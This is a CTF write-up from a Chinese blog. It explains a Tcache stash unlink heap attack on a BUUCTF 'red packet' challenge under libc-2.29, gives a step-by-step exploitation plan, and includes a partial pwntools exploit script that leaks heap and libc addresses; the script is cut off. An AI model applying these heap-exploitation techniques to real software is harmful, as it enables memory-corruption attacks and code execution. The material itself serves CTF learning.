BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)

本文详细记录了在不同CTF挑战中利用Tcache stash unlink攻击的技巧,涉及2020新春红包题、hitcon_ctf_2019_one_punch和安恒四月赛(DASCTF)sales_office2。通过分析这些题目,介绍了如何利用栈溢出、指针悬挂和未初始化的Use-After-Free等漏洞,实现堆内存操纵,最终获取libc地址和执行任意代码。
摘要由CSDN通过智能技术生成

[2020 新春红包题]3(Tcache stash unlink attack)

在这里插入图片描述
没有开canary,莫非有栈溢出?
同样把execve禁用了
在这里插入图片描述
删除的时候有指针悬挂
在这里插入图片描述
添加的时候限制了只能添加0x10,0xf0,0x300,0x400大小的
在这里插入图片描述
并且使用calloc分配,这意味着add时不会从tcache中取chunk
在这里插入图片描述
添加次数为0x1c(28),编辑次数为1
在这里插入图片描述
程序存在后门,刚好可以覆盖返回地址
在这里插入图片描述
利用思路如下

  1. 添加释放7次,把大小为0x410的chunk的tcache填满,并且利用show泄露heap_base
  2. 把大小为0x100的chunk放入tcache中6个
  3. 添加0x410大小的chunk并且释放来获得libc地址
  4. 把大小为0x100的chunk放入tcache中2个
  5. 利用UAF修改smallbin2(后进入smallbin的chunk)的bk为qword_4058 + 0x800-0x10
  6. 申请0x100大小的chunk,这样qword_4058 + 0x800-0x10就会写上一个大数
  7. 再申请一个0x410的chunk,写入ROPchain
  8. 利用后门+栈迁移获得flag

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 28846)
#r = process("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	where
	''')

elf = ELF("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "Your input: "
def add(index, choice, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
	r.sendline(str(choice))
	r.recvuntil("Please input content: ")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("Please input content: ")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))

# fill full tcache size 0x410
for i in range(7):
	add(0,4,'Chunk0')
	delete(0)

# fill 6 in tcache size 0x100
for i in range(6):
	add(1,2,'Chunk1')
	delete(1)


show(0)
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x26C0
success("heap_base:"+hex(heap_addr))

add(2,4,'Chunk2')
add(3,3,'Chunk3')
delete(2)
show(2)
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值